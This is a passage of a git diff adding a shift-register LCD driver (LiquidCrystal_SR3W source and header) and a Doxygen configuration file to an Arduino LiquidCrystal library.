since the time taken to write + // on AVR with SR pin mapping even with fio is longer than LCD command execution. + waitUsec(37); //goes away on AVRs +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + + +void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = pol; + setBacklight (BACKLIGHT_OFF); // Set backlight to off as initial setup +} + +void LiquidCrystal_SR3W::setBacklight ( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + loadSR( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// ----------------------------------------------------------------------------- + +int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + _data = fio_pinToBit(data); + _clk = fio_pinToBit(clk); + _strobe = fio_pinToBit(strobe); + _data_reg = fio_pinToOutputRegister(data); + _clk_reg = fio_pinToOutputRegister(clk); + _strobe_reg = fio_pinToOutputRegister(strobe); + + // LCD pin mapping + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + return (1); +} + +void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + mode = ( mode == DATA ) ? _Rs : 0; + + pinMapValue |= mode | _backlightStsMask; + loadSR ( pinMapValue | _En ); // Send with enable high + loadSR ( pinMapValue); // Send with enable low +} + + +void LiquidCrystal_SR3W::loadSR(uint8_t value) +{ + // Load the shift register with information + fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST); + + // Strobe the data into the latch + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_strobe_reg, _strobe); + fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW); + } +} diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR3W.h b/libraries/LiquidCrystal/LiquidCrystal_SR3W.h new file mode 100644 index 0000000..0f0b32f --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR3W.h @@ -0,0 +1,202 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR3W.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR3W_H_ +#define _LIQUIDCRYSTAL_SR3W_H_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +class LiquidCrystal_SR3W : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe); + // Constructor with backlight control + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. + */ + void loadSR(uint8_t value); + + + fio_bit _strobe; // shift register strobe pin + fio_register _strobe_reg; // SR strobe pin MCU register + fio_bit _data; // shift register data pin + fio_register _data_reg; // SR data pin MCU register + fio_bit _clk; // shift register clock pin + fio_register _clk_reg; // SR clock pin MCU register + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + +}; + +#endif + diff --git a/libraries/LiquidCrystal/docs/Doxyfile b/libraries/LiquidCrystal/docs/Doxyfile new file mode 100644 index 0000000..b097cd8 --- /dev/null +++ b/libraries/LiquidCrystal/docs/Doxyfile @@ -0,0 +1,1749 @@ +# Doxyfile 1.7.4 + +# This file describes the settings to be used by the documentation system +# doxygen (www.doxygen.org) for a project +# +# All text after a hash (#) is considered a comment and will be ignored +# The format is: +# TAG = value [value, ...] +# For lists items can also be appended using: +# TAG += value [value, ...] +# Values that contain spaces should be placed between quotes (" ") + +#--------------------------------------------------------------------------- +# Project related configuration options +#--------------------------------------------------------------------------- + +# This tag specifies the encoding used for all characters in the config file +# that follow. The default is UTF-8 which is also the encoding used for all +# text before the first occurrence of this tag. Doxygen uses libiconv (or the +# iconv built into libc) for the transcoding. See +# http://www.gnu.org/software/libiconv for the list of possible encodings. + +DOXYFILE_ENCODING = UTF-8 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded +# by quotes) that should identify the project. + +PROJECT_NAME = "LCD Library" + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. +# This could be handy for archiving the generated documentation or +# if some version control system is used. + +PROJECT_NUMBER = 1.2.0 + +# Using the PROJECT_BRIEF tag one can provide an optional one line description +# for a project that appears at the top of each page and should give viewer +# a quick idea about the purpose of the project. Keep the description short. + +PROJECT_BRIEF = "LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library." + +# With the PROJECT_LOGO tag one can specify an logo or icon that is +# included in the documentation. The maximum height of the logo should not +# exceed 55 pixels and the maximum width should not exceed 200 pixels. +# Doxygen will copy the logo to the output directory. + +PROJECT_LOGO = /Users/fmalpartida/Documents/electroFunLTD/templates/anchillary/graficas/logo/logoGoogle.jpg + +# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) +# base path where the generated documentation will be put. +# If a relative path is entered, it will be relative to the location +# where doxygen was started. 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The default is YES. + +SHOW_NAMESPACES = YES + +# The FILE_VERSION_FILTER tag can be used to specify a program or script that +# doxygen should invoke to get the current version for each file (typically from +# the version control system). Doxygen will invoke the program by executing (via +# popen()) the command , where is the value of +# the FILE_VERSION_FILTER tag, and is the name of an input file +# provided by doxygen. Whatever the program writes to standard output +# is used as the file version. See the manual for examples. + +FILE_VERSION_FILTER = + +# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed +# by doxygen. The layout file controls the global structure of the generated +# output files in an output format independent way. The create the layout file +# that represents doxygen's defaults, run doxygen with the -l option. +# You can optionally specify a file name after the option, if omitted +# DoxygenLayout.xml will be used as the name of the layout file. + +LAYOUT_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to warning and progress messages +#--------------------------------------------------------------------------- + +# The QUIET tag can be used to turn on/off the messages that are generated +# by doxygen. Possible values are YES and NO. If left blank NO is used. + +QUIET = NO + +# The WARNINGS tag can be used to turn on/off the warning messages that are +# generated by doxygen. Possible values are YES and NO. If left blank +# NO is used. + +WARNINGS = YES + +# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings +# for undocumented members. If EXTRACT_ALL is set to YES then this flag will +# automatically be disabled. + +WARN_IF_UNDOCUMENTED = YES + +# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for +# potential errors in the documentation, such as not documenting some +# parameters in a documented function, or documenting parameters that +# don't exist or using markup commands wrongly. + +WARN_IF_DOC_ERROR = YES + +# The WARN_NO_PARAMDOC option can be enabled to get warnings for +# functions that are documented, but have no documentation for their parameters +# or return value. If set to NO (the default) doxygen will only warn about +# wrong or incomplete parameter documentation, but not about the absence of +# documentation. + +WARN_NO_PARAMDOC = NO + +# The WARN_FORMAT tag determines the format of the warning messages that +# doxygen can produce. The string should contain the $file, $line, and $text +# tags, which will be replaced by the file and line number from which the +# warning originated and the warning text. Optionally the format may contain +# $version, which will be replaced by the version of the file (if it could +# be obtained via FILE_VERSION_FILTER) + +WARN_FORMAT = "$file:$line: $text" + +# The WARN_LOGFILE tag can be used to specify a file to which warning +# and error messages should be written. If left blank the output is written +# to stderr. + +WARN_LOGFILE = + +#--------------------------------------------------------------------------- +# configuration options related to the input files +#--------------------------------------------------------------------------- + +# The INPUT tag can be used to specify the files and/or directories that contain +# documented source files. You may enter file names like "myfile.cpp" or +# directories like "/usr/src/myproject". Separate the files or directories +# with spaces. + +INPUT = ../ + +# This tag can be used to specify the character encoding of the source files +# that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is +# also the default input encoding. Doxygen uses libiconv (or the iconv built +# into libc) for the transcoding. See http://www.gnu.org/software/libiconv for +# the list of possible encodings. + +INPUT_ENCODING = UTF-8 + +# If the value of the INPUT tag contains directories, you can use the +# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank the following patterns are tested: +# *.c *.cc *.cxx *.cpp *.c++ *.d *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh +# *.hxx *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.dox *.py +# *.f90 *.f *.for *.vhd *.vhdl + +FILE_PATTERNS = *.c \ + *.cc \ + *.cxx \ + *.cpp \ + *.c++ \ + *.d \ + *.java \ + *.ii \ + *.ixx \ + *.ipp \ + *.i++ \ + *.inl \ + *.h \ + *.hh \ + *.hxx \ + *.hpp \ + *.h++ \ + *.idl \ + *.odl \ + *.cs \ + *.php \ + *.php3 \ + *.inc \ + *.m \ + *.mm \ + *.dox \ + *.py \ + *.f90 \ + *.f \ + *.for \ + *.vhd \ + *.vhdl + +# The RECURSIVE tag can be used to turn specify whether or not subdirectories +# should be searched for input files as well. Possible values are YES and NO. +# If left blank NO is used. + +RECURSIVE = NO + +# The EXCLUDE tag can be used to specify files and/or directories that should +# excluded from the INPUT source files. This way you can easily exclude a +# subdirectory from a directory tree whose root is specified with the INPUT tag. + +EXCLUDE = + +# The EXCLUDE_SYMLINKS tag can be used select whether or not files or +# directories that are symbolic links (a Unix file system feature) are excluded +# from the input. + +EXCLUDE_SYMLINKS = NO + +# If the value of the INPUT tag contains directories, you can use the +# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude +# certain files from those directories. Note that the wildcards are matched +# against the file with absolute path, so to exclude all test directories +# for example use the pattern */test/* + +EXCLUDE_PATTERNS = + +# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names +# (namespaces, classes, functions, etc.) that should be excluded from the +# output. The symbol name can be a fully qualified name, a word, or if the +# wildcard * is used, a substring. Examples: ANamespace, AClass, +# AClass::ANamespace, ANamespace::*Test + +EXCLUDE_SYMBOLS = + +# The EXAMPLE_PATH tag can be used to specify one or more files or +# directories that contain example code fragments that are included (see +# the \include command). + +EXAMPLE_PATH = + +# If the value of the EXAMPLE_PATH tag contains directories, you can use the +# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank all files are included. + +EXAMPLE_PATTERNS = * + +# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be +# searched for input files to be used with the \include or \dontinclude +# commands irrespective of the value of the RECURSIVE tag. +# Possible values are YES and NO. If left blank NO is used. + +EXAMPLE_RECURSIVE = NO + +# The IMAGE_PATH tag can be used to specify one or more files or +# directories that contain image that are included in the documentation (see +# the \image command). + +IMAGE_PATH = + +# The INPUT_FILTER tag can be used to specify a program that doxygen should +# invoke to filter for each input file. Doxygen will invoke the filter program +# by executing (via popen()) the command , where +# is the value of the INPUT_FILTER tag, and is the name of an +# input file. Doxygen will then use the output that the filter program writes +# to standard output. If FILTER_PATTERNS is specified, this tag will be +# ignored. + +INPUT_FILTER = + +# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern +# basis. Doxygen will compare the file name with each pattern and apply the +# filter if there is a match. The filters are a list of the form: +# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further +# info on how filters are used. If FILTER_PATTERNS is empty or if +# non of the patterns match the file name, INPUT_FILTER is applied. + +FILTER_PATTERNS = + +# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using +# INPUT_FILTER) will be used to filter the input files when producing source +# files to browse (i.e. when SOURCE_BROWSER is set to YES). + +FILTER_SOURCE_FILES = NO + +# The FILTER_SOURCE_PATTERNS tag can be used to specify source filters per file +# pattern. A pattern will override the setting for FILTER_PATTERN (if any) +# and it is also possible to disable source filtering for a specific pattern +# using *.ext= (so without naming a filter). This option only has effect when +# FILTER_SOURCE_FILES is enabled. + +FILTER_SOURCE_PATTERNS = + +#--------------------------------------------------------------------------- +# configuration options related to source browsing +#--------------------------------------------------------------------------- + +# If the SOURCE_BROWSER tag is set to YES then a list of source files will +# be generated. Documented entities will be cross-referenced with these sources. +# Note: To get rid of all source code in the generated output, make sure also +# VERBATIM_HEADERS is set to NO. + +SOURCE_BROWSER = YES + +# Setting the INLINE_SOURCES tag to YES will include the body +# of functions and classes directly in the documentation. + +INLINE_SOURCES = NO + +# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct +# doxygen to hide any special comment blocks from generated source code +# fragments. Normal C and C++ comments will always remain visible. + +STRIP_CODE_COMMENTS = YES + +# If the REFERENCED_BY_RELATION tag is set to YES +# then for each documented function all documented +# functions referencing it will be listed. + +REFERENCED_BY_RELATION = NO + +# If the REFERENCES_RELATION tag is set to YES +# then for each documented function all documented entities +# called/used by that function will be listed. + +REFERENCES_RELATION = NO + +# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) +# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from +# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will +# link to the source code. Otherwise they will link to the documentation. + +REFERENCES_LINK_SOURCE = YES + +# If the USE_HTAGS tag is set to YES then the references to source code +# will point to the HTML generated by the htags(1) tool instead of doxygen +# built-in source browser. The htags tool is part of GNU's global source +# tagging system (see http://www.gnu.org/software/global/global.html). You +# will need version 4.8.6 or higher. + +USE_HTAGS = NO + +# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen +# will generate a verbatim copy of the header file for each class for +# which an include is specified. Set to NO to disable this. + +VERBATIM_HEADERS = YES + +#--------------------------------------------------------------------------- +# configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- + +# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index +# of all compounds will be generated. Enable this if the project +# contains a lot of classes, structs, unions or interfaces. + +ALPHABETICAL_INDEX = YES + +# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then +# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns +# in which this list will be split (can be a number in the range [1..20]) + +COLS_IN_ALPHA_INDEX = 5 + +# In case all classes in a project start with a common prefix, all +# classes will be put under the same header in the alphabetical index. +# The IGNORE_PREFIX tag can be used to specify one or more prefixes that +# should be ignored while generating the index headers. + +IGNORE_PREFIX = + +#--------------------------------------------------------------------------- +# configuration options related to the HTML output +#--------------------------------------------------------------------------- + +# If the GENERATE_HTML tag is set to YES (the default) Doxygen will +# generate HTML output. + +GENERATE_HTML = YES + +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `html' will be used as the default path. + +HTML_OUTPUT = html + +# The HTML_FILE_EXTENSION tag can be used to specify the file extension for +# each generated HTML page (for example: .htm,.php,.asp). If it is left blank +# doxygen will generate files with .html extension. + +HTML_FILE_EXTENSION = .html + +# The HTML_HEADER tag can be used to specify a personal HTML header for +# each generated HTML page. If it is left blank doxygen will generate a +# standard header. Note that when using a custom header you are responsible +# for the proper inclusion of any scripts and style sheets that doxygen +# needs, which is dependent on the configuration options used. +# It is adviced to generate a default header using "doxygen -w html +# header.html footer.html stylesheet.css YourConfigFile" and then modify +# that header. Note that the header is subject to change so you typically +# have to redo this when upgrading to a newer version of doxygen or when +# changing the value of configuration settings such as GENERATE_TREEVIEW! + +HTML_HEADER = + +# The HTML_FOOTER tag can be used to specify a personal HTML footer for +# each generated HTML page. If it is left blank doxygen will generate a +# standard footer. + +HTML_FOOTER = + +# The HTML_STYLESHEET tag can be used to specify a user-defined cascading +# style sheet that is used by each HTML page. It can be used to +# fine-tune the look of the HTML output. If the tag is left blank doxygen +# will generate a default style sheet. Note that doxygen will try to copy +# the style sheet file to the HTML output directory, so don't put your own +# stylesheet in the HTML output directory as well, or it will be erased! + +HTML_STYLESHEET = + +# The HTML_EXTRA_FILES tag can be used to specify one or more extra images or +# other source files which should be copied to the HTML output directory. Note +# that these files will be copied to the base HTML output directory. Use the +# $relpath$ marker in the HTML_HEADER and/or HTML_FOOTER files to load these +# files. In the HTML_STYLESHEET file, use the file name only. Also note that +# the files will be copied as-is; there are no commands or markers available. + +HTML_EXTRA_FILES = + +# The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. +# Doxygen will adjust the colors in the stylesheet and background images +# according to this color. Hue is specified as an angle on a colorwheel, +# see http://en.wikipedia.org/wiki/Hue for more information. +# For instance the value 0 represents red, 60 is yellow, 120 is green, +# 180 is cyan, 240 is blue, 300 purple, and 360 is red again. +# The allowed range is 0 to 359. + +HTML_COLORSTYLE_HUE = 220 + +# The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of +# the colors in the HTML output. For a value of 0 the output will use +# grayscales only. A value of 255 will produce the most vivid colors. + +HTML_COLORSTYLE_SAT = 100 + +# The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to +# the luminance component of the colors in the HTML output. Values below +# 100 gradually make the output lighter, whereas values above 100 make +# the output darker. The value divided by 100 is the actual gamma applied, +# so 80 represents a gamma of 0.8, The value 220 represents a gamma of 2.2, +# and 100 does not change the gamma. + +HTML_COLORSTYLE_GAMMA = 80 + +# If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML +# page will contain the date and time when the page was generated. Setting +# this to NO can help when comparing the output of multiple runs. + +HTML_TIMESTAMP = YES + +# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, +# files or namespaces will be aligned in HTML using tables. If set to +# NO a bullet list will be used. + +HTML_ALIGN_MEMBERS = YES + +# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML +# documentation will contain sections that can be hidden and shown after the +# page has loaded. For this to work a browser that supports +# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox +# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). + +HTML_DYNAMIC_SECTIONS = NO + +# If the GENERATE_DOCSET tag is set to YES, additional index files +# will be generated that can be used as input for Apple's Xcode 3 +# integrated development environment, introduced with OSX 10.5 (Leopard). +# To create a documentation set, doxygen will generate a Makefile in the +# HTML output directory. Running make will produce the docset in that +# directory and running "make install" will install the docset in +# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find +# it at startup. +# See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html +# for more information. + +GENERATE_DOCSET = NO + +# When GENERATE_DOCSET tag is set to YES, this tag determines the name of the +# feed. A documentation feed provides an umbrella under which multiple +# documentation sets from a single provider (such as a company or product suite) +# can be grouped. + +DOCSET_FEEDNAME = "Doxygen generated docs" + +# When GENERATE_DOCSET tag is set to YES, this tag specifies a string that +# should uniquely identify the documentation set bundle. This should be a +# reverse domain-name style string, e.g. com.mycompany.MyDocSet. Doxygen +# will append .docset to the name. + +DOCSET_BUNDLE_ID = org.doxygen.Project + +# When GENERATE_PUBLISHER_ID tag specifies a string that should uniquely identify +# the documentation publisher. This should be a reverse domain-name style +# string, e.g. com.mycompany.MyDocSet.documentation. + +DOCSET_PUBLISHER_ID = org.doxygen.Publisher + +# The GENERATE_PUBLISHER_NAME tag identifies the documentation publisher. + +DOCSET_PUBLISHER_NAME = Publisher + +# If the GENERATE_HTMLHELP tag is set to YES, additional index files +# will be generated that can be used as input for tools like the +# Microsoft HTML help workshop to generate a compiled HTML help file (.chm) +# of the generated HTML documentation. + +GENERATE_HTMLHELP = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can +# be used to specify the file name of the resulting .chm file. You +# can add a path in front of the file if the result should not be +# written to the html output directory. + +CHM_FILE = + +# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can +# be used to specify the location (absolute path including file name) of +# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run +# the HTML help compiler on the generated index.hhp. + +HHC_LOCATION = + +# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag +# controls if a separate .chi index file is generated (YES) or that +# it should be included in the master .chm file (NO). + +GENERATE_CHI = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_INDEX_ENCODING +# is used to encode HtmlHelp index (hhk), content (hhc) and project file +# content. + +CHM_INDEX_ENCODING = + +# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag +# controls whether a binary table of contents is generated (YES) or a +# normal table of contents (NO) in the .chm file. + +BINARY_TOC = NO + +# The TOC_EXPAND flag can be set to YES to add extra items for group members +# to the contents of the HTML help documentation and to the tree view. + +TOC_EXPAND = NO + +# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and +# QHP_VIRTUAL_FOLDER are set, an additional index file will be generated +# that can be used as input for Qt's qhelpgenerator to generate a +# Qt Compressed Help (.qch) of the generated HTML documentation. + +GENERATE_QHP = NO + +# If the QHG_LOCATION tag is specified, the QCH_FILE tag can +# be used to specify the file name of the resulting .qch file. +# The path specified is relative to the HTML output folder. + +QCH_FILE = + +# The QHP_NAMESPACE tag specifies the namespace to use when generating +# Qt Help Project output. For more information please see +# http://doc.trolltech.com/qthelpproject.html#namespace + +QHP_NAMESPACE = org.doxygen.Project + +# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating +# Qt Help Project output. For more information please see +# http://doc.trolltech.com/qthelpproject.html#virtual-folders + +QHP_VIRTUAL_FOLDER = doc + +# If QHP_CUST_FILTER_NAME is set, it specifies the name of a custom filter to +# add. For more information please see +# http://doc.trolltech.com/qthelpproject.html#custom-filters + +QHP_CUST_FILTER_NAME = + +# The QHP_CUST_FILT_ATTRS tag specifies the list of the attributes of the +# custom filter to add. For more information please see +# +# Qt Help Project / Custom Filters. + +QHP_CUST_FILTER_ATTRS = + +# The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this +# project's +# filter section matches. +# +# Qt Help Project / Filter Attributes. + +QHP_SECT_FILTER_ATTRS = + +# If the GENERATE_QHP tag is set to YES, the QHG_LOCATION tag can +# be used to specify the location of Qt's qhelpgenerator. +# If non-empty doxygen will try to run qhelpgenerator on the generated +# .qhp file. + +QHG_LOCATION = + +# If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files +# will be generated, which together with the HTML files, form an Eclipse help +# plugin. To install this plugin and make it available under the help contents +# menu in Eclipse, the contents of the directory containing the HTML and XML +# files needs to be copied into the plugins directory of eclipse. The name of +# the directory within the plugins directory should be the same as +# the ECLIPSE_DOC_ID value. After copying Eclipse needs to be restarted before +# the help appears. + +GENERATE_ECLIPSEHELP = NO + +# A unique identifier for the eclipse help plugin. When installing the plugin +# the directory name containing the HTML and XML files should also have +# this name. + +ECLIPSE_DOC_ID = org.doxygen.Project + +# The DISABLE_INDEX tag can be used to turn on/off the condensed index at +# top of each HTML page. The value NO (the default) enables the index and +# the value YES disables it. + +DISABLE_INDEX = NO + +# The ENUM_VALUES_PER_LINE tag can be used to set the number of enum values +# (range [0,1..20]) that doxygen will group on one line in the generated HTML +# documentation. Note that a value of 0 will completely suppress the enum +# values from appearing in the overview section. + +ENUM_VALUES_PER_LINE = 4 + +# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index +# structure should be generated to display hierarchical information. +# If the tag value is set to YES, a side panel will be generated +# containing a tree-like index structure (just like the one that +# is generated for HTML Help). For this to work a browser that supports +# JavaScript, DHTML, CSS and frames is required (i.e. any modern browser). +# Windows users are probably better off using the HTML help feature. + +GENERATE_TREEVIEW = NO + +# By enabling USE_INLINE_TREES, doxygen will generate the Groups, Directories, +# and Class Hierarchy pages using a tree view instead of an ordered list. + +USE_INLINE_TREES = NO + +# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be +# used to set the initial width (in pixels) of the frame in which the tree +# is shown. + +TREEVIEW_WIDTH = 250 + +# When the EXT_LINKS_IN_WINDOW option is set to YES doxygen will open +# links to external symbols imported via tag files in a separate window. + +EXT_LINKS_IN_WINDOW = NO + +# Use this tag to change the font size of Latex formulas included +# as images in the HTML documentation. The default is 10. Note that +# when you change the font size after a successful doxygen run you need +# to manually remove any form_*.png images from the HTML output directory +# to force them to be regenerated. + +FORMULA_FONTSIZE = 10 + +# Use the FORMULA_TRANPARENT tag to determine whether or not the images +# generated for formulas are transparent PNGs. Transparent PNGs are +# 